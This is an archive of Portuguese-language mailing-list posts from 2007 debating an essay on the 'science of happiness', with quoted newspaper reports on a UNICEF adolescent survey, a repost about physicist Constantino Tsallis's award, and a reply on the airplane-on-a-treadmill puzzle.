Dos entrevistados, 57% disseram que n�o procuram orienta��o nesses locais; dos que chegaram a procurar, 11% classificaram a informa��o como confusa; e 29% a definiram como esclarecedora. Dos entrevistados, 32,8% j� tiveram rela��o sexual e, dentre estes, observou-se que o sexo seguro, com a utiliza��o da camisinha, cresce proporcionalmente ao n�vel de instru��o.

Dos que usam o preservativo todas as vezes, 40,1% est�o no ensino m�dio; 32,1%, entre a 5� e a 8� s�rie do ensino fundamental; e 14,3%, entre a pr�-escola e a 4�s�rie do ensino fundamental. Dentre os que nunca usaram, 36,3% est�o entre a pr�-escola e a 4� s�rie; 33,1%, entre a 5� e a 8� s�rie do ensino fundamental; e 11,2%,

___________________________________



A TARDE 01/12/2002 - Domingo - Local
< http://www.atarde.com.br/materia.php3?dia=01&mes=12&ano=2002&id_materia=36 >
Comportamento
Conceito de felicidade

Cleidiana Ramnos


Os dados relacionados pelo Unicef ganham mais cor num debate com os personagens da pesquisa: os adolescentes. Um grupo formado por participantes de projetos da organiza��o n�o-governamental Cip� reafirmam as conclus�es do levantamento do Unicef. No item fam�lia, por exemplo, eles a definem como a institui��o mais importante para o equil�brio.

�Se h� desequil�brio familiar, tudo vai mal�, analisa Michel da Silva, 17 anos. Na pesquisa �A Voz do Adolescente�, os conceitos de felicidade e infelicidade estiveram relacionados � institui��o familiar. Dos entrevistados, 70% disseram que est�o felizes quando em ambiente familiar e 61% elegeram as brigas familiares como maior motivo de infelicidade.

�A fam�lia � o centro de tudo�, resume Suzy-L�a Ara�jo Godinho, 17 anos. Mesmo tendo problemas de relacionamento com seus familiares, que considera autores de um comportamento excludente em rela��o a ela, Thayse Santana, 17 anos, reconhece a import�ncia da institui��o fam�lia.

Influ�ncia

Filha �nica, Vanessa Sampaio, 16 anos, destaca que a fam�lia � a respons�vel pelo que se � no futuro. �A rela��o com ela influencia para toda a vida�, resume categ�rica. De acordo com Vanessa discordar n�o significa necessariamente viver em guerra constante. �Conflitos sempre acontecem, mas tem que se ter equil�brio�, disse.

Do grupo de seis adolescentes, Ant�nio Damasceno Filho, 17 anos, � o �nico que j� est� no mercado de trabalho. Seu rendimento � de um sal�rio m�nimo, mas sem carteira assinada. Os efeitos de iniciar t�o cedo a experi�ncia profissional j� come�am a ser sentidos por Ant�nio. �Vou ter que passar a estudar � noite e sinto que tenho pouco tempo para fazer as coisas que preciso�, salientou.




[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 12:05

No texto, a expressão "ciência da felicidade", não parece utilizar o termo
"ciência" com o mesmo significado que é utilizado normalmente nesta lista.
Foi a minha impressão.

E, com todo o respeito, tenho a impressão de estar lendo um daqueles livros
de auto-ajuda que inundam as livrarias. Sem ofensas, sinceramente. Está bem
redigido o texto, de verdade. Mas parece um pouco deslocado para o tema
desta lista. Minha opinião.

Um abraço,

Ricardo



----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 11:20 AM
Subject: [ciencialist] A ciência da felicidade - José Renato


A ciência da felicidade



O que é preciso para as pessoas viverem a felicidade?



No grupo, um amigo - afeito a questões complicadas, que passam despercebidas
ou preferimos esquecer - propôs que seja incluída no currículo educacional
uma disciplina que ensine a ciência da felicidade.

Existirá um conhecimento específico para ser feliz? Como obter e manter a
felicidade?

De algum modo sua proposta nos fez calar e, o melhor, pensar.



Creio que a ciência da felicidade vem sendo pesquisada e desenvolvida há
muito tempo, mas, como requer um mínimo de visão, sabedoria e lucidez,
continuamos como os nossos 'primos' macacos a querer obter a felicidade sem
abrir a mão. E, assim, ficamos prisioneiros, com a mão enfiada na cumbuca da
existência donde tentamos tirar a própria felicidade a qualquer custo.



O desafio de definir conhecimentos e regras para viver feliz lembra, de
certo modo, o enigma da Esfinge: decifra-me ou... permanecerás infeliz!
Poderemos todos ser instruídos na sabedoria edipiana rumo às Tebas modernas?

Será importante, inicialmente, definir quando estamos felizes, ou melhor,
quando nos percebemos e nos consideramos felizes e, finalmente, tentar
definir o que é essa tal felicidade, geralmente só percebida depois que não
a temos mais, resumida na frase "éramos felizes e não sabíamos".



Talvez a forma de alcançar a felicidade seja um obstáculo, visto ser ela
"perseguida" pelo vivente. Qualquer um, ao ser perseguido, sente-se acuado e
foge. Geralmente, queremos retê-la para sempre em nós, em vez de
simplesmente desfrutá-la. É como tentar pegar no ar bolhas coloridas de
sabão ou aprisionar o canto dos pássaros em uma gaiola. A felicidade, nesses
casos, não se realiza. Ficamos frustrados sem saber porque.



Não é difícil perceber que todos somos egoístas por natureza. O que muda, às
vezes, são as atitudes provocadas por esse egoísmo. Os mais fortes podem
demonstra-lo e agir abertamente. Os mais fracos o fazem em surdina,
disfarçadamente. E os mais vividos percebem que o egoísmo, como toda
atitude, requer equilíbrio e limites. E buscam uma nova forma de convivência
menos conflituosa.



Outros valores também são importantes nessa busca e requerem preparação.
Eles são estruturados no seio da família onde o infante desenvolve suas
primeiras referências. É o fundamento. O resto é, em grande parte,
conseqüência desse primeiro aprendizado. Em uma pesquisa da Unicef os jovens
elegeram a família o ponto de apoio fundamental na educação e na formação
dos seus valores pessoais e sociais.(Vide reportagem no final)



Em contrapartida, a felicidade é vendida na mídia com muito interesse.
Felicidade é o orgasmo transmitido sob gritos, gemidos e mão crispadas nos
lençóis na telinha do faz-de-conta... É sair do shopping carregando
"trocentas" sacolas de grifes famosas. Não é só usar uma roupa bonita e
elegante em que você se sente confortável! Ela se realiza no ato de comprar,
mostrar aos outros o seu poder de compra e não no usufruto do que você
adquiriu. Felicidade é tirar vantagem em tudo, certo? É parecer que é... em
vez de ser. Acredito que a felicidade, hoje, é mais aquela que os
marqueteiros dizem que é, durante todas as 25 horas do dia.



Na prática, vejo nas pessoas que parecem viver a felicidade uma agradável
mistura de paz, confiança, tranqüilidade, disposição, integridade, percepção
e atenção à realidade... E, todas elas, parecem dispor de todo o tempo do
mundo! O que será que elas fazem para alcançar aquilo que imaginamos que só
bastante dinheiro pode nos dar?



As crianças, quando se sentem em ambiente seguro, transmitem essas
"qualidades" ao serem simplesmente felizes. Suas preocupação e realizações
são imediatas, logo desfrutadas. Um pouco diferente da elaborada felicidade,
programada por nós hoje menos crianças. Serei feliz quando: me formar, me
empregar, comprar um apartamento, um carro, ter aumento de salário, casar,
separar, ter um filho, os filhos crescerem..., tornarem-se independentes,
aposentar, ganhar a megasena (sozinho, claro), etc. e etc.



Cada um apresentará seus sinais e valores do que seja ser feliz. Muitas
coincidências ocorrerão. Uma, que me parece estará em todas elas já foi dita
por Tom, mas de forma tão banal, que às vezes é confundida com filosofia
barata: "é impossível ser feliz sozinho" (Wave - Tom Jobim). "Fundamental é
mesmo o Amor..."

E o que é isso que denominamos de amor?



José Renato M. de Almeida
Salvador - Bahia

____________________________



A TARDE 01/12/2002 - Domingo - Local
http://www.atarde.com.br/materia.php3?mes=12&ano=2002&id_subcanal=17&id_materia=37
Comportamento
Família garante bem-estar, dizem jovens

Cleidiana Ramnos

Qual é o perfil do adolescente brasileiro? Para responder a esta pergunta, o
Fundo das Nações Unidas para a Infância (Unicef) foi buscar informações na
fonte. Intitulada "A Voz dos Adolescentes", a nova pesquisa publicada pela
instituição é a primeira realizada em todo o Brasil a ouvir opiniões de
adolescentes de todas as regiões geográficas do País, dos diferentes níveis
de renda, escolaridade, das diversas raças e cultura. Além disso, o trabalho
revelou surpresas, derrubando mitos. Quando se imagina que esta é a fase da
vida em que mais há conflito com a família, pode-se perceber que, apesar
disto, ela é a instituição mais importante para os meninos. Ela foi apontada
por 85% dos adolescentes brasileiros como a responsável pela garantia dos
seus direitos e bem-estar, sendo seguida pela escola que alcançou o índice
de 40%.

"Este tipo de trabalho é importante para pensar projetos e ações para este
público. Os dados são representativos do que os meninos sentem e pensam dos
pais, da escola e sobre assuntos como drogas e a sua sexualidade", salientou
a oficial de comunicação do Unicef na Bahia e Sergipe, Patrícia Portela.

A utilidade da pesquisa do Unicef está exatamente em ter mergulhado no
próprio universo adolescente e não em dados dos chamados órgãos oficiais. A
comparação com os números dessas fontes vai poder ser feita no próximo mês,
quando o Unicef vai divulgar, por meio de teleconferência, o trabalho "A
Situação do Adolescente Brasileiro", a partir de indicadores, como IBGE,
Ipea, Inesc e ministérios.

"Será o relato do Brasil sobre os seus meninos", destacou Patrícia Portela.
A pesquisa ouviu 5.280 adolescentes entre 12 e 17 anos, numa amostragem que
reflete a opinião dos mais de 21 milhões de brasileiros que estão nesta
faixa etária. Na Bahia, além de Salvador, foram ouvidos meninos de Lauro de
Freitas, Simões Filho, Alagoinhas, São Gonçalo dos Campos e Vitória da
Conquista.

Os dados são importantes para o Unicef, pois um dos seus programas é o
"Cidadania dos Adolescentes", que contempla a faixa etária de 12 a 18 anos,
além do "Sistema de Garantias e Proteção" e "Monitoramento e Comunicação
pelos Direitos", destinado a jovens de todas as faixas etárias. A pesquisa
sediada em Brasília contou com uma equipe formada por sociólogos,
estatísticos, cientistas políticos e jornalistas ligados a trabalhos que
tratam da questão da infância e da adolescência.

Dificuldades

Os dados gerais da pesquisa confirmam o que já é senso comum no sentido de
que o Brasil descuida da educação e saúde dos seus jovens. Embora 94%
estejam matriculados em algum estabelecimento de ensino, quando o assunto é
qualidade do espaço físico onde estudam, 61% a definem como negativa. Apesar
de 70,2% dos adolescentes considerarem os conteúdos difundidos pela escola
importantes para a sua vida e crescimento profissional, apenas 39,7% dizem
que as aulas ajudam a compreender melhor a sociedade em que vivem.

"Se avançamos em relação à matrícula escolar, agora é hora de melhorar a
qualidade de ensino. A escola tem que seduzir seus alunos", disse Patrícia
Portela. Em relação à saúde, apesar de 79% dos adolescentes terem postos de
saúde nas proximidades de suas casas, eles não são fontes procuradas, por
exemplo, para informações sobre sexualidade, o que engloba também o
conhecimento sobre as doenças sexualmente transmissíveis (DSTs).

Dos entrevistados, 57% disseram que não procuram orientação nesses locais;
dos que chegaram a procurar, 11% classificaram a informação como confusa; e
29% a definiram como esclarecedora. Dos entrevistados, 32,8% já tiveram
relação sexual e, dentre estes, observou-se que o sexo seguro, com a
utilização da camisinha, cresce proporcionalmente ao nível de instrução.

Dos que usam o preservativo todas as vezes, 40,1% estão no ensino médio;
32,1%, entre a 5ª e a 8ª série do ensino fundamental; e 14,3%, entre a
pré-escola e a 4ªsérie do ensino fundamental. Dentre os que nunca usaram,
36,3% estão entre a pré-escola e a 4ª série; 33,1%, entre a 5ª e a 8ª série
do ensino fundamental; e 11,2%,

___________________________________



A TARDE 01/12/2002 - Domingo - Local
< http://www.atarde.com.br/materia.php3?dia=01&mes=12&ano=2002&id_materia=36
>
Comportamento
Conceito de felicidade

Cleidiana Ramnos


Os dados relacionados pelo Unicef ganham mais cor num debate com os
personagens da pesquisa: os adolescentes. Um grupo formado por participantes
de projetos da organização não-governamental Cipó reafirmam as conclusões do
levantamento do Unicef. No item família, por exemplo, eles a definem como a
instituição mais importante para o equilíbrio.

"Se há desequilíbrio familiar, tudo vai mal", analisa Michel da Silva, 17
anos. Na pesquisa "A Voz do Adolescente", os conceitos de felicidade e
infelicidade estiveram relacionados à instituição familiar. Dos
entrevistados, 70% disseram que estão felizes quando em ambiente familiar e
61% elegeram as brigas familiares como maior motivo de infelicidade.

"A família é o centro de tudo", resume Suzy-Léa Araújo Godinho, 17 anos.
Mesmo tendo problemas de relacionamento com seus familiares, que considera
autores de um comportamento excludente em relação a ela, Thayse Santana, 17
anos, reconhece a importância da instituição família.

Influência

Filha única, Vanessa Sampaio, 16 anos, destaca que a família é a responsável
pelo que se é no futuro. "A relação com ela influencia para toda a vida",
resume categórica. De acordo com Vanessa discordar não significa
necessariamente viver em guerra constante. "Conflitos sempre acontecem, mas
tem que se ter equilíbrio", disse.

Do grupo de seis adolescentes, Antônio Damasceno Filho, 17 anos, é o único
que já está no mercado de trabalho. Seu rendimento é de um salário mínimo,
mas sem carteira assinada. Os efeitos de iniciar tão cedo a experiência
profissional já começam a ser sentidos por Antônio. "Vou ter que passar a
estudar à noite e sinto que tenho pouco tempo para fazer as coisas que
preciso", salientou.




[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: Re: [ciencialist] cientista brasileiro é premiado
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 12:53

Data venia, dizer que Tsallis é brasileiro é o mesmo que dizer que Einstein
era norte-americano...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Ricardo Soares Vieira" <rickrsv@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 03, 2007 9:43 PM
Subject: [ciencialist] cientista brasileiro é premiado


Físico brasileiro recebe Prêmio Elsevier pelo conjunto da obra

Constantino Tsallis é homenageado por editora líder de mercado na área
científica

Entre equações e análises sofisticadas, o físico brasileiro
Constantino Tsallis descobriu sua vocação. E mais do que isso, ganhou
prestígio e respeito entre pesquisadores ao conceber a mecânica
estatística não extensiva, a "estatística de Tsallis" como é
conhecida no mundo científico. "Esta forma de entropia representa uma
generalização da expressão matemática formulada no século 19 por
Boltzmann e Gibbs. É uma nova maneira de abordar sistemas complexos na
mecânica estatística", explica. A grandiosidade de seus estudos é
legítima e no dia 2 de março receberá o "Prêmio Elsevier" pelo
conjunto da obra, em cerimônia a ser realizada, às 16h, no auditório
do Centro Brasileiro de Pesquisas Físicas, Instituto do Ministério de
Ciência e Tecnologia.

Parte da importância de sua contribuição é a aplicabilidade de sua
pesquisa ao cotidiano. Hoje, é possível identificar melhor quando um
aeroporto deve ou não ser fechado em decorrência de uma tempestade; as
autoridades podem avaliar riscos com mais precisão, utilizando sua
teoria. Mas a sua utilização não se limita ao campo físico. Faz
sucesso também na biologia, na economia e até na lingüística, feito
que garantiu a Tsallis um reconhecimento, inédito no Brasil, da
Sociedade Européia de Física. "Através dela é possível detectar câncer
de mama, doença de Alzheimer e patologias cardíacas. São resultados
úteis para a humanidade. É a ciência aplicada ao cotidiano", avalia.

Em 2004, o físico previu a existência, em sistemas não extensivos, de
um conjunto de índices chamado q-triplete. Para sua alegria, a NASA
encontrou estes três valores no vento solar e validou sua pesquisa, o
que abre novos caminhos para o estudo destes sistemas complexos.
"Fiquei feliz de ter a minha conjectura comprovada na natureza. O
q-triplete é uma das provas", pontua. Este resultado faz parte da
exposição das Nações Unidas para 2007 - Ano Heliofísico Internacional,
que esta sendo inaugurado em Viena.

Tsallis coleciona homenagens acumuladas ao longo de sua vida como
pesquisador. O Prêmio México de Ciência e Tecnologia, o Prêmio Cidade
do Rio de Janeiro de Ciência e Tecnologia e o Distinguished Scientist
of the Greek Diaspora (em português, algo como Cientista Destacado da
Diáspora Grega) são alguns exemplos.

Fica fácil entender o que faz do físico Constantino Tsallis um
orientador muito procurado por mestrandos e doutorandos. "São
brasileiros, argentinos, chilenos, peruanos, italianos, portugueses,
gregos, turcos. A mecânica estatística não extensiva conta hoje com
mais de 2 mil publicações feitas por 1.500 cientistas de 60 países",
comenta o cientista, que já proferiu mais de 700 palestras ao redor do
mundo.

Nascido na Grécia em 1943, aos quatro anos Tsallis emigrou com a
família para o Brasil. Depois, mudou-se para a Argentina, passou pela
França, onde fez o doutorado, e retornou ao Brasil em 1975. Foi em
1984 que se naturalizou brasileiro e é hoje uma das maiores
autoridades em Ciência do mundo.

fonte: SBFísica




SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 16:09


----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 12:10 AM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


> Ricardo:
> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
> hélices,
> ao
> empurrar o ar para trás, empurra o avião para frente, independente deste
> ter
> ou não asas. O avião se move para frente ao ligar a turbina, não para
> cima. ]
> ..........................
> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
> Isso significa que o mesmo está praticamente parado em relação ao solo e
> ao
> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
> ou turbinas. Difícil, não?

José Renato,

Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
somos levados a pensar a princípio. Mas como o sistema que empurra o avião
para frente é independente da esteira (turbina, por exemplo), a esteira se
mover para trás não empurra o avião para trás de forma determinante, mas
sim, faz as rodas girarem mais rápido. Então, o avião anda para a frente, em
relação ao chão, a esteira roda para trás, e as rodas giram mais rápido.

[]s

Ricardo




SUBJECT: RE: [ciencialist] A ciência da felicidade - José Renato
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/03/2007 16:36

Zérre...
A felicidade continuará sendo objeto de muita discussão e consideração.
Nem dá para saber direito do que se trata...
Indiscutível é a presença constante da INFELICIDADE, como se fosse - e é - a
realidade, o mundo palpável, já que atrapalhadamente estamos todos - ? -
mais aparelhados para ela.
Seneca disse, no fim de sua vida, que a felicidade existe...
Abr/M.


>From: José Renato <jrma@terra.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: [ciencialist] A ciência da felicidade - José Renato
>Date: Sun, 4 Mar 2007 11:20:53 -0300
>
>A ciência da felicidade
>
>
>
>O que é preciso para as pessoas viverem a felicidade?
>
>
>
>No grupo, um amigo - afeito a questões complicadas, que passam
>despercebidas ou preferimos esquecer - propôs que seja incluída no
>currículo educacional uma disciplina que ensine a ciência da felicidade.
>
>Existirá um conhecimento específico para ser feliz? Como obter e manter a
>felicidade?
>
>De algum modo sua proposta nos fez calar e, o melhor, pensar.
>
>
>
>Creio que a ciência da felicidade vem sendo pesquisada e desenvolvida há
>muito tempo, mas, como requer um mínimo de visão, sabedoria e lucidez,
>continuamos como os nossos ‘primos’ macacos a querer obter a felicidade sem
>abrir a mão. E, assim, ficamos prisioneiros, com a mão enfiada na cumbuca
>da existência donde tentamos tirar a própria felicidade a qualquer custo.
>
>
>
>O desafio de definir conhecimentos e regras para viver feliz lembra, de
>certo modo, o enigma da Esfinge: decifra-me ou... permanecerás infeliz!
>Poderemos todos ser instruídos na sabedoria edipiana rumo às Tebas
>modernas?
>
>Será importante, inicialmente, definir quando estamos felizes, ou melhor,
>quando nos percebemos e nos consideramos felizes e, finalmente, tentar
>definir o que é essa tal felicidade, geralmente só percebida depois que não
>a temos mais, resumida na frase "éramos felizes e não sabíamos".
>
>
>
>Talvez a forma de alcançar a felicidade seja um obstáculo, visto ser ela
>"perseguida" pelo vivente. Qualquer um, ao ser perseguido, sente-se acuado
>e foge. Geralmente, queremos retê-la para sempre em nós, em vez de
>simplesmente desfrutá-la. É como tentar pegar no ar bolhas coloridas de
>sabão ou aprisionar o canto dos pássaros em uma gaiola. A felicidade,
>nesses casos, não se realiza. Ficamos frustrados sem saber porque.
>
>
>
>Não é difícil perceber que todos somos egoístas por natureza. O que muda,
>às vezes, são as atitudes provocadas por esse egoísmo. Os mais fortes podem
>demonstra-lo e agir abertamente. Os mais fracos o fazem em surdina,
>disfarçadamente. E os mais vividos percebem que o egoísmo, como toda
>atitude, requer equilíbrio e limites. E buscam uma nova forma de
>convivência menos conflituosa.
>
>
>
>Outros valores também são importantes nessa busca e requerem preparação.
>Eles são estruturados no seio da família onde o infante desenvolve suas
>primeiras referências. É o fundamento. O resto é, em grande parte,
>conseqüência desse primeiro aprendizado. Em uma pesquisa da Unicef os
>jovens elegeram a família o ponto de apoio fundamental na educação e na
>formação dos seus valores pessoais e sociais.(Vide reportagem no final)
>
>
>
>Em contrapartida, a felicidade é vendida na mídia com muito interesse.
>Felicidade é o orgasmo transmitido sob gritos, gemidos e mão crispadas nos
>lençóis na telinha do faz-de-conta... É sair do shopping carregando
>"trocentas" sacolas de grifes famosas. Não é só usar uma roupa bonita e
>elegante em que você se sente confortável! Ela se realiza no ato de
>comprar, mostrar aos outros o seu poder de compra e não no usufruto do que
>você adquiriu. Felicidade é tirar vantagem em tudo, certo? É parecer que
>é... em vez de ser. Acredito que a felicidade, hoje, é mais aquela que os
>marqueteiros dizem que é, durante todas as 25 horas do dia.
>
>
>
>Na prática, vejo nas pessoas que parecem viver a felicidade uma agradável
>mistura de paz, confiança, tranqüilidade, disposição, integridade,
>percepção e atenção à realidade... E, todas elas, parecem dispor de todo o
>tempo do mundo! O que será que elas fazem para alcançar aquilo que
>imaginamos que só bastante dinheiro pode nos dar?
>
>
>
>As crianças, quando se sentem em ambiente seguro, transmitem essas
>"qualidades" ao serem simplesmente felizes. Suas preocupação e realizações
>são imediatas, logo desfrutadas. Um pouco diferente da elaborada
>felicidade, programada por nós hoje menos crianças. Serei feliz quando: me
>formar, me empregar, comprar um apartamento, um carro, ter aumento de
>salário, casar, separar, ter um filho, os filhos crescerem..., tornarem-se
>independentes, aposentar, ganhar a megasena (sozinho, claro), etc. e etc.
>
>
>
>Cada um apresentará seus sinais e valores do que seja ser feliz. Muitas
>coincidências ocorrerão. Uma, que me parece estará em todas elas já foi
>dita por Tom, mas de forma tão banal, que às vezes é confundida com
>filosofia barata: "é impossível ser feliz sozinho" (Wave - Tom Jobim).
>"Fundamental é mesmo o Amor..."
>
>E o que é isso que denominamos de amor?
>
>
>
>José Renato M. de Almeida
> Salvador - Bahia
>
>____________________________
>
>
>
>A TARDE 01/12/2002 - Domingo - Local
>http://www.atarde.com.br/materia.php3?mes=12&ano=2002&id_subcanal=17&id_materia=37
>Comportamento
>Família garante bem-estar, dizem jovens
>
>Cleidiana Ramnos
>
>Qual é o perfil do adolescente brasileiro? Para responder a esta pergunta,
>o Fundo das Nações Unidas para a Infância (Unicef) foi buscar informações
>na fonte. Intitulada “A Voz dos Adolescentes”, a nova pesquisa publicada
>pela instituição é a primeira realizada em todo o Brasil a ouvir opiniões
>de adolescentes de todas as regiões geográficas do País, dos diferentes
>níveis de renda, escolaridade, das diversas raças e cultura. Além disso, o
>trabalho revelou surpresas, derrubando mitos. Quando se imagina que esta é
>a fase da vida em que mais há conflito com a família, pode-se perceber que,
>apesar disto, ela é a instituição mais importante para os meninos. Ela foi
>apontada por 85% dos adolescentes brasileiros como a responsável pela
>garantia dos seus direitos e bem-estar, sendo seguida pela escola que
>alcançou o índice de 40%.
>
>“Este tipo de trabalho é importante para pensar projetos e ações para este
>público. Os dados são representativos do que os meninos sentem e pensam dos
>pais, da escola e sobre assuntos como drogas e a sua sexualidade”,
>salientou a oficial de comunicação do Unicef na Bahia e Sergipe, Patrícia
>Portela.
>
>A utilidade da pesquisa do Unicef está exatamente em ter mergulhado no
>próprio universo adolescente e não em dados dos chamados órgãos oficiais. A
>comparação com os números dessas fontes vai poder ser feita no próximo mês,
>quando o Unicef vai divulgar, por meio de teleconferência, o trabalho “A
>Situação do Adolescente Brasileiro”, a partir de indicadores, como IBGE,
>Ipea, Inesc e ministérios.
>
>“Será o relato do Brasil sobre os seus meninos”, destacou Patrícia Portela.
>A pesquisa ouviu 5.280 adolescentes entre 12 e 17 anos, numa amostragem que
>reflete a opinião dos mais de 21 milhões de brasileiros que estão nesta
>faixa etária. Na Bahia, além de Salvador, foram ouvidos meninos de Lauro de
>Freitas, Simões Filho, Alagoinhas, São Gonçalo dos Campos e Vitória da
>Conquista.
>
>Os dados são importantes para o Unicef, pois um dos seus programas é o
>“Cidadania dos Adolescentes”, que contempla a faixa etária de 12 a 18 anos,
>além do “Sistema de Garantias e Proteção” e “Monitoramento e Comunicação
>pelos Direitos”, destinado a jovens de todas as faixas etárias. A pesquisa
>sediada em Brasília contou com uma equipe formada por sociólogos,
>estatísticos, cientistas políticos e jornalistas ligados a trabalhos que
>tratam da questão da infância e da adolescência.
>
>Dificuldades
>
>Os dados gerais da pesquisa confirmam o que já é senso comum no sentido de
>que o Brasil descuida da educação e saúde dos seus jovens. Embora 94%
>estejam matriculados em algum estabelecimento de ensino, quando o assunto é
>qualidade do espaço físico onde estudam, 61% a definem como negativa.
>Apesar de 70,2% dos adolescentes considerarem os conteúdos difundidos pela
>escola importantes para a sua vida e crescimento profissional, apenas 39,7%
>dizem que as aulas ajudam a compreender melhor a sociedade em que vivem.
>
>“Se avançamos em relação à matrícula escolar, agora é hora de melhorar a
>qualidade de ensino. A escola tem que seduzir seus alunos”, disse Patrícia
>Portela. Em relação à saúde, apesar de 79% dos adolescentes terem postos de
>saúde nas proximidades de suas casas, eles não são fontes procuradas, por
>exemplo, para informações sobre sexualidade, o que engloba também o
>conhecimento sobre as doenças sexualmente transmissíveis (DSTs).
>
>Dos entrevistados, 57% disseram que não procuram orientação nesses locais;
>dos que chegaram a procurar, 11% classificaram a informação como confusa; e
>29% a definiram como esclarecedora. Dos entrevistados, 32,8% já tiveram
>relação sexual e, dentre estes, observou-se que o sexo seguro, com a
>utilização da camisinha, cresce proporcionalmente ao nível de instrução.
>
> Dos que usam o preservativo todas as vezes, 40,1% estão no ensino médio;
>32,1%, entre a 5ª e a 8ª série do ensino fundamental; e 14,3%, entre a
>pré-escola e a 4ªsérie do ensino fundamental. Dentre os que nunca usaram,
>36,3% estão entre a pré-escola e a 4ª série; 33,1%, entre a 5ª e a 8ª série
>do ensino fundamental; e 11,2%,
>
>___________________________________
>
>
>
>A TARDE 01/12/2002 - Domingo - Local
><
>http://www.atarde.com.br/materia.php3?dia=01&mes=12&ano=2002&id_materia=36
> >
>Comportamento
>Conceito de felicidade
>
>Cleidiana Ramnos
>
>
>Os dados relacionados pelo Unicef ganham mais cor num debate com os
>personagens da pesquisa: os adolescentes. Um grupo formado por
>participantes de projetos da organização não-governamental Cipó reafirmam
>as conclusões do levantamento do Unicef. No item família, por exemplo, eles
>a definem como a instituição mais importante para o equilíbrio.
>
>“Se há desequilíbrio familiar, tudo vai mal”, analisa Michel da Silva, 17
>anos. Na pesquisa “A Voz do Adolescente”, os conceitos de felicidade e
>infelicidade estiveram relacionados à instituição familiar. Dos
>entrevistados, 70% disseram que estão felizes quando em ambiente familiar e
>61% elegeram as brigas familiares como maior motivo de infelicidade.
>
>“A família é o centro de tudo”, resume Suzy-Léa Araújo Godinho, 17 anos.
>Mesmo tendo problemas de relacionamento com seus familiares, que considera
>autores de um comportamento excludente em relação a ela, Thayse Santana, 17
>anos, reconhece a importância da instituição família.
>
>Influência
>
>Filha única, Vanessa Sampaio, 16 anos, destaca que a família é a
>responsável pelo que se é no futuro. “A relação com ela influencia para
>toda a vida”, resume categórica. De acordo com Vanessa discordar não
>significa necessariamente viver em guerra constante. “Conflitos sempre
>acontecem, mas tem que se ter equilíbrio”, disse.
>
>Do grupo de seis adolescentes, Antônio Damasceno Filho, 17 anos, é o único
>que já está no mercado de trabalho. Seu rendimento é de um salário mínimo,
>mas sem carteira assinada. Os efeitos de iniciar tão cedo a experiência
>profissional já começam a ser sentidos por Antônio. “Vou ter que passar a
>estudar à noite e sinto que tenho pouco tempo para fazer as coisas que
>preciso”, salientou.
>
>
>
>
>[As partes desta mensagem que não continham texto foram removidas]
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/03/2007 16:38

Ricardo, oi.
Vc tem razão... absolutamente deslocado!
Para com isso! Fica quieto, Zerrenato!
abr.M.


>From: "Ricardo" <ricardos@infolink.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] A ciência da felicidade - José Renato
>Date: Sun, 4 Mar 2007 12:05:57 -0300
>
>No texto, a expressão "ciência da felicidade", não parece utilizar o termo
>"ciência" com o mesmo significado que é utilizado normalmente nesta lista.
>Foi a minha impressão.
>
>E, com todo o respeito, tenho a impressão de estar lendo um daqueles livros
>de auto-ajuda que inundam as livrarias. Sem ofensas, sinceramente. Está bem
>redigido o texto, de verdade. Mas parece um pouco deslocado para o tema
>desta lista. Minha opinião.
>
>Um abraço,
>
>Ricardo
>
>
>
>----- Original Message -----
>From: "José Renato" <jrma@terra.com.br>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Sunday, March 04, 2007 11:20 AM
>Subject: [ciencialist] A ciência da felicidade - José Renato
>
>
>A ciência da felicidade
>
>
>
>O que é preciso para as pessoas viverem a felicidade?
>
>
>
>No grupo, um amigo - afeito a questões complicadas, que passam
>despercebidas
>ou preferimos esquecer - propôs que seja incluída no currículo educacional
>uma disciplina que ensine a ciência da felicidade.
>
>Existirá um conhecimento específico para ser feliz? Como obter e manter a
>felicidade?
>
>De algum modo sua proposta nos fez calar e, o melhor, pensar.
>
>
>
>Creio que a ciência da felicidade vem sendo pesquisada e desenvolvida há
>muito tempo, mas, como requer um mínimo de visão, sabedoria e lucidez,
>continuamos como os nossos 'primos' macacos a querer obter a felicidade sem
>abrir a mão. E, assim, ficamos prisioneiros, com a mão enfiada na cumbuca
>da
>existência donde tentamos tirar a própria felicidade a qualquer custo.
>
>
>
>O desafio de definir conhecimentos e regras para viver feliz lembra, de
>certo modo, o enigma da Esfinge: decifra-me ou... permanecerás infeliz!
>Poderemos todos ser instruídos na sabedoria edipiana rumo às Tebas
>modernas?
>
>Será importante, inicialmente, definir quando estamos felizes, ou melhor,
>quando nos percebemos e nos consideramos felizes e, finalmente, tentar
>definir o que é essa tal felicidade, geralmente só percebida depois que não
